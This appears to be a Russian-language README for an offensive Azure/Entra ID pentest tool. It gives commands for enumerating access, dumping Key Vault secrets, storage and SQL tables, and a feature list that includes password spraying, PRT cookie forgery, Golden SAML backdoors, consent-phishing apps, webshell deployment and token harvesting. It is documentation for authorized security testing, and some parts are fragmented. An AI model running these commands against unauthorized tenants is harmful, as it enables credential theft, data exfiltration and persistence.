- [CVE-2025-49706: Подмена в SharePoint](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49706)
- [CVE-2025-29824: Повышение привилегий в драйвере CLFS](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-29824)
- [CVE-2025-21293: Повышение привилегий в Active Directory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21293)
- [CVE-2024-30088: Повышение привилегий в ядре Windows](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-30088)
- [CVE-2024-21338: Повышение привилегий в драйвере appid.sys](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21338)
- [CVE-2023-4911: Повышение привилегий Looney Tunables (glibc)](https://nvd.nist.gov/vuln/detail/CVE-2023-4911)
- [CVE-2023-38831: Удалённое выполнение кода в WinRAR](https://nvd.nist.gov/vuln/detail/CVE-2023-38831)
- [CVE-2023-28252: Повышение привилегий в драйвере CLFS](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-28252)
- [CVE-2022-37969: Повышение привилегий в драйвере CLFS](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-37969)
- [CVE-2022-24521: Повышение привилегий в драйвере CLFS](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24521)
- [CVE-2021-1732: Повышение привилегий в драйвере win32k](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732)
- [CVE-2020-1472: Zerologon (Netlogon)](https://nvd.nist.gov/vuln/detail/CVE-2020-1472)
- [CVE-2019-1458: Повышение привилегий в драйвере win32k](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2019-1458)
- [CVE-2019-1064: Повышение привилегий в AppX](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2019-1064)
- [CVE-2019-0841: Перезапись файлов в AppX](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2019-0841)
- [CVE-2018-8453: Повышение привилегий в драйвере win32k](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2018-8453)
- [CVE-2018-8440: Повышение привилегий в ALPC](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2018-8440)
- [CVE-2017-0213: Повышение привилегий в COM](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-0213)
- [CVE-2017-0144: EternalBlue (SMBv1)](https://nvd.nist.gov/vuln/detail/CVE-2017-0144)
- [CVE-2016-7255: Повышение привилегий в драйвере win32k](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2016-7255)
- [CVE-2016-3225: Обход проверки подлинности в SMB](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2016-3225)
- [CVE-2015-1701: Повышение привилегий в драйвере win32k](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2015-1701)
- [CVE-2014-4113: Повышение привилегий в драйвере win32k](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2014-4113)
- [CVE-2013-3660: Повышение привилегий в драйвере win32k](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2013-3660)
- [CVE-2012-0158: Удалённое выполнение кода в MSCOMCTL.OCX](https://nvd.nist.gov/vuln/detail/CVE-2012-0158)
- [CVE-2010-3333: Удалённое выполнение кода в RTF](https://nvd.nist.gov/vuln/detail/CVE-2010-3333)
- [CVE-2008-4250: Удалённое выполнение кода в службе Server](https://nvd.nist.gov/vuln/detail/CVE-2008-4250)
- [CVE-2008-1084: Повышение привилегий в ядре Windows](https://nvd.nist.gov/vuln/detail/CVE-2008-1084)
- [CVE-2008-0015: Удалённое выполнение кода в Windows](https://nvd.nist.gov/vuln/detail/CVE-2008-0015)
- [CVE-2006-3439: Удалённое выполнение кода в службе Server](https://nvd.nist.gov/vuln/detail/CVE-2006-3439)
- [CVE-2004-0210: Повышение привилегий в Windows](https://nvd.nist.gov/vuln/detail/CVE-2004-0210)
- [CVE-2003-0352: Удалённое выполнение кода в DCOM/RPC (Blaster)](https://nvd.nist.gov/vuln/detail/CVE-2003-0352)
- [CVE-2001-0154: Удалённое выполнение кода в Windows](https://nvd.nist.gov/vuln/detail/CVE-2001-0154)
- [CVE-1999-0001: Отказ в обслуживании в Windows](https://nvd.nist.gov/vuln/detail/CVE-1999-0001)```
account acmewebsite — anonymously listable containers: [$web]
SEVERITY CATEGORY TITLE RESOURCE
HIGH blob-anon Sensitive file exposed anonymously: site-transfer.zip backups/site-transfer.zip
MEDIUM blob-anon Container allows anonymous listing $web
MEDIUM blob-anon Historical blob versions anonymously retrievable $web
LOW blob-anon Blob versioning is enabled $web
Пользовательский список контейнеров — переопределить встроенный список слов:```bash ./azpt blob hunt --account acmewebsite --containers '$web,backups,assets,private'
**Пользовательские шаблоны обнаружения** — `--pattern` принимает регулярные выражения без учёта регистра
(можно повторять). Они проверяются перед встроенными и помечаются как HIGH, поэтому они
могут иметь приоритет над классификацией по умолчанию:```bash
./azpt blob hunt --account acmewebsite --pattern 'acme[-_]?corp' --pattern 'prod-'
Ничего, связанное с конкретной целью, не захардкожено — встроенное обнаружение представляет собой набор регулярных выражений по классам файлов, потенциально содержащих утечки (см. Findings).
Как только у вас есть учётные данные, наиболее важны два сценария: понять, что может делать эта учётная запись, и добраться до секретов.
enum accessОдна команда объединяет ответ, используя токен, с которым вы уже вошли в систему:```bash ./azpt enum access
Он сообщает, в разделах:
- **Identity** — пользователь/приложение + ID объекта + tenant (декодируется из токена)
- **Graph delegated scopes / app roles** — какие вызовы каталога будут успешными
- **Directory roles** — например, *Global Administrator* выделяется здесь
- **Group memberships** — из `/me/memberOf`
- **Azure RBAC role assignments** — имя роли + область, по каждой подписке
Разделы, на которые у вас нет разрешения, перечисляются в `NOTES`, а не приводят к сбою всей команды. Назначения ролей RBAC используют фильтр `assignedTo()`, поэтому роли, *унаследованные* от групп, включаются, а не только назначенные напрямую.
### Граф путей атаки — `scan`
Кульминация: `scan` перечисляет **весь** эффективный доступ вошедшего субъекта — группы, роли каталога, назначения RBAC, области и ресурсы — и строит **граф атаки в стиле BloodHound**. Он отмечает высокоценные цели (Key Vaults, хранилища, SQL, веб-приложения, виртуальные машины), приписывает каждую роль пользователю *или конкретной группе, которая её предоставляет*, и выводит оценённые пути атаки с точной командой `azpt` для эксплуатации каждого из них.```bash
./azpt scan # text summary: paths ranked by value
./azpt scan --html graph.html # interactive Azure-themed graph (open in a browser)
./azpt scan --loot --html graph.html # deep-scan loot: keys, kubeconfigs, LAPS, creds, snapshots, firewalls, ...
./azpt scan -o graph.json # raw nodes/edges/paths JSON (feed into other tools)
Вывод --html — это самодостаточная интерактивная карта атак в тёмной теме
(без внешних зависимостей, полностью работает офлайн), которая отображает каждый узел с его
настоящей иконкой службы Azure. Она включает:
Связи членства (кто в какой группе/роли) собираются только с помощью
scan --deep, который дополнительно перечисляет участников групп и ролей каталога, чтобы
веб-приложение могло построить цепочки идентификация → группа → доступ:```bash
./azpt scan --deep --html graph.html # slower; enables expanding identities on the graph
- щёлкните путь или выполните запрос, чтобы подсветить его маршрут и затемнить всё остальное,
а щёлкните любой узел, чтобы открыть карточку с подробностями его входящих/исходящих связей.
Пример текстового вывода:```
OVERVIEW 3 groups · 1 directory roles · 2 role assignments · 32 resources · 9 high-value · 18 attack paths
[1] score 70 — Customer Database Access on "mbt-finance" → query databases
→ member of group "CUSTOMER-DATABASE-ACCESS"
→ holds "Customer Database Access" on RG content-static-2
→ which contains Azure SQL server "mbt-finance" (query databases)
exploit: azpt sql databases --server <name>
vaultKey Vault хранит секреты, ключи и сертификаты. Обнаружение хранилища через
enum resources (ARM) не подразумевает доступ к плоскости данных — для чтения его
содержимого требуется политика доступа Key Vault (Get/List) или RBAC-роль Key Vault Secrets
User. Без этого вы получите 403 Forbidden, что является полезным сигналом.```bash
./azpt vault list --vault ext-contractors
./azpt vault get --vault ext-contractors --secret db-connection-string
./azpt vault dump --vault ext-contractors ./azpt --json vault dump --vault ext-contractors > vault-loot.json
`vault list` выводит каждый тип содержимого независимо, поэтому хранилище, в котором вы можете перечислять секреты, но не ключи, всё равно показывает то, что вы *можете* видеть — и раскрывает, какими именно разрешениями уровня данных вы обладаете. Закрытый ключ сертификата часто можно получить через `vault get --secret <cert-name>`, поскольку Key Vault предоставляет его через секрет с тем же именем.
Для суверенных облаков или нестандартной конечной точки передайте `--vault-url` вместо `--vault`.
### Azure SQL — `sql`
Перечисление и запросы к базам данных Azure SQL. Два режима аутентификации:
- **Токен Entra ID** (по умолчанию) — использует ваши текущие учётные данные. Работает, когда у сервера есть администратор Entra ID, а ваш субъект является сопоставленным пользователем базы данных.
- **Вход SQL** (`--user`/`--password`) — необходим, когда у сервера *нет* администратора Entra ID (на пути с токеном вы увидите `Login failed ... not currently configured to accept this token`). Попробуйте здесь учётные данные, полученные в другом месте — например, секреты Key Vault.```bash
# Entra ID auth
./azpt sql databases --server mbt-finance
./azpt sql tables --server mbt-finance --database Finance
./azpt sql query --server mbt-finance --database Finance -q "SELECT name FROM sys.tables"
./azpt sql dump --server mbt-finance --database Finance --table dbo.Customers --limit 50
# SQL login (recovered creds)
./azpt sql databases --server mbt-finance -U alissa-suarez -P '<password>'
Брандмауэр сервера в любом случае должен разрешать ваш исходный IP. Имена таблиц в
dump проверяются как обычные идентификаторы перед использованием (их нельзя
параметризовать в T-SQL), поэтому инъекция через --table невозможна. sql query по умолчанию только для чтения — DROP/DELETE/UPDATE/EXEC/xp_cmdshell и другие изменяющие операторы отклоняются, если не передан --allow-write, поэтому авторизованная оценка не может случайно уничтожить данные.
storageАутентифицированный аналог анонимных команд blob: использует ваши
учётные данные Entra ID (эквивалентно az storage ... --auth-mode login) для доступа к
контейнерам/блобам и таблицам Storage. Требуется роль уровня плоскости данных, такая как
Storage Blob Data Reader или Storage Table Data Reader — видимость учётной записи
через enum resources (плоскость управления) её не предоставляет; 403 означает, что у вас нет
роли данных.```bash
./azpt storage containers --account custdatabase ./azpt storage blobs --account custdatabase --container backups ./azpt storage download --account custdatabase --container backups --blob db.bacpac -o db.bacpac
./azpt storage tables --account custdatabase ./azpt storage entities --account custdatabase --table customers ./azpt storage entities --account custdatabase --table customers --filter "PartitionKey eq '1'" --limit 100
`blob` против `storage`: `blob` — это **внешний, неаутентифицированный** взгляд атакующего
(анонимный листинг, перечисление версий); `storage` — это **аутентифицированный**
взгляд, когда у вас есть учётные данные. Разные модели угроз, обе включены.
## Findings
Findings имеют стабильный ID, уровень серьёзности, доказательства и рекомендации. Полный
каталог с описаниями и исправлениями находится в
[`docs/findings.md`](https://github.com/hac01/azure-pentesting-suite/blob/main/docs/findings.md). Краткая сводка:
| ID | Severity | Meaning |
| --- | --- | --- |
| `STOR-001` | HIGH | Учётная запись хранилища допускает публичный (анонимный) доступ к blob |
| `STOR-002` | MEDIUM | Передача только по HTTPS не принудительно |
| `STOR-003` | MEDIUM | Минимальная версия TLS ниже 1.2 |
| `STOR-004` | LOW | Доступ по общему ключу (ключу учётной записи) включён |
| `STOR-005` | MEDIUM | Хранилище доступно из всех сетей (брандмауэр по умолчанию разрешает) |
| `BLOB-001` | MEDIUM | Контейнер допускает анонимный листинг |
| `BLOB-002` | LOW | Версионирование blob включено (история может быть восстановлена) |
| `BLOB-003` | MEDIUM | Исторические версии blob анонимно доступны |
| `BLOB-010` | varies | Конфиденциальный файл раскрыт анонимно (серьёзность от классификатора) |
`STOR-*` (аутентифицированный аудит) и `BLOB-*` (анонимный) — две стороны одной
монеты: `STOR-001` говорит «публичный доступ настроен»; `BLOB-001` доказывает это,
фактически перечисляя контейнер извне.
---
## Форматы вывода
По умолчанию таблицы, удобочитаемые для человека; добавьте глобальный флаг `--json` для структурированного
вывода, подходящего для `jq` или загрузки в конвейер отчётов:```bash
./azpt --json audit storage | jq '.[] | select(.severity=="HIGH")'
./azpt --json blob hunt --account acmewebsite > acme-blob-findings.json
Результаты сортируются от наиболее серьёзных к наименее серьёзным в табличном выводе.
main.go internal/ recon/ unauthenticated outsider recon: realm, tenant, DNS posture, subdomain enum (wildcard-aware), user enum, password spray scan/ attack-path graph builder + self-contained Azure-themed HTML viz azauth/ credential chain, raw token acquisition (ARM + Graph), JWT claims azure/ SDK wrappers: subscriptions, resources, storage audit + data plane (blobs/tables), key vault, RBAC azsql/ Azure SQL client (Entra ID token or SQL login) — query/dump graph/ Microsoft Graph REST client (users, groups, SPs, apps, memberOf) blob/ anonymous Blob REST client (list/versions/download) + secret classifier audit/ pure detection rules over resource views -> findings model/ shared types: Resource, Finding, Severity, Report output/ JSON + human-readable table rendering cli/ cobra command tree, shared bootstrap()
Принципы проектирования:
- **Обнаружение отделено от ввода-вывода.** Правила аудита и классификатор
секретов в blob-хранилище — это чистые функции над уплощёнными представлениями,
поэтому они тестируются модульно без какого-либо сетевого доступа.
- **Всё становится `model.Finding`.** Аутентифицированные и анонимные модули
выдают данные в один и тот же тип, поэтому `--json` и будущие отчёты
обрабатывают их единообразно.
- **Анонимность по умолчанию там, где это возможно.** Клиент `blob` общается
напрямую с Blob REST API и никогда не создаёт учётные данные.
---
## Разработка```bash
go build ./... # compile everything
go test ./... # run unit tests (no Azure connection required)
go vet ./... # static checks
gofmt -l . # list files needing formatting (should be empty)
Тесты blob-клиента проверяют реальный путь построения запросов и разбора XML
против локального сервера httptest, включая перечисление версий, пагинацию
и случай 403 PublicAccessNotPermitted — живая учётная запись хранилища не нужна.
--access-token / AZPT_TOKEN + погашение refresh через FOCIenum ca)enum access — области действия токена, роли каталога, группы, RBACВыпущено под MIT License.
azpt — это инструмент наступательной безопасности, предназначенный только для авторизованного тестирования.
Используйте его исключительно против тенантов и подписок, которыми вы владеете или на оценку которых у вас есть явное
письменное разрешение. Вы несёте ответственность за то, как вы его используете.
-h, --help | Показать справочное сообщение и выйти |
-v, --version | Показать версию программы и выйти |
-d, --debug | Включить режим отладки |
-c, --config | Путь к файлу конфигурации |
-o, --output | Путь к выходному файлу |
-f, --format | Формат вывода (json, yaml, xml) |
-q, --quiet | Тихий режим, подавлять вывод |
-V, --verbose | Подробный режим, увеличить вывод |
TOOL_DEBUG |
| Включить режим отладки |
TOOL_LOG_LEVEL | Уровень логирования (debug, info, warn, error) |
| Код | Описание |
|---|
0 | Успешное выполнение |
1 | Общая ошибка |
2 | Ошибка конфигурации |
3 | Ошибка сети |
4 | Ошибка аутентификации |
blob brute)recon takeover)audit network)audit keyvault/rbac)scan: граф путей атаки в стиле BloodHound (текст + JSON + HTML), объединяющий
Entra ID (группы/роли) с ARM RBAC + ресурсами--cloud)token decode (claims + сопоставление wids→роли каталога)scanrecon tenantinfo: федерация / Seamless SSO / локальная синхронизация)enum risky); перечисление устройств Intune + RCE через push скрипта (intune)scan --bloodhound)scan (принадлежащий SP/app/группа → Global Admin)--deep)mfa devicecode)scan --audit → вкладка Findings)entra update-profile)blob containers --sas)recon users --first --last --domain)enum identities), делегирования Lighthouse, публичные IPscan --loot: ключи Function App, kubeconfig AKS, пароли LAPS, ключи BitLocker, секреты APIM, правила firewall БД, снимки дисков, пользовательские RBAC-роли с wildcard, устаревшие учётные данные SP, определения Logic App--certificate PFX/PEM)webapp deploy) для развёртывания webshellenum synced)token extract — refresh + access-токены из .azure/msal_token_cache.json)m365 scan)devops)deploymentScripts посредством временного контейнера ACI с подключением управляемой идентичности (arm deploy-script)persistence)k8s — секреты, service accounts, pods, перечисление privesc RBAC, неинтерактивный exec в pod, выпуск токена service-account)k8s pivot-azure)enum kql) + листинг инфраструктуры одним запросом (enum resources --fast)harvest): az CLI (accessTokens.json, azureProfile.json, service_principal_entries.json, кэш MSAL) и Az PowerShell (AzureRmContext.json, DPAPI TokenCache.dat в Windows)prt): подделка SSO-cookie x-ms-RefreshTokenCredential KDF v2 из PRT + session key, полная цепочка nonce→cookie→authorize→token; извлечение BrowserCore.exe на хосте (Windows)device register): присоединение rogue-устройства через DRS → сертификат/ключ устройства (предусловие для PRT, обход CA на основе устройства, персистентность)federation): бэкдор managed→federated (ConvertTo-AADIntBackdoor) + подделка Golden SAML и погашение SAML-bearer (XML-DSig проверяется независимой реализацией)entra phish-app): мультитенантное приложение + URL согласия + локальный перехватчик токенов по reply-URL (Invoke-InjectOAuthApp)m365 rules): скрытые правила пересылки входящих через Graph messageRulesscan dump/scan query): полный каталог + граф атак в чистом Go SQLite (modernc.org/sqlite), 13 готовых аналитических представленийprt extract), выгрузка sync-credential AD Connect (adconnect sync-creds), DPAPI (CryptUnprotectData) — с build-тегами, вне Windows выводится инструкция без действийprt request: получение реального PRT с зарегистрированного устройства (связывает регистрацию устройства → cookie KDF v2)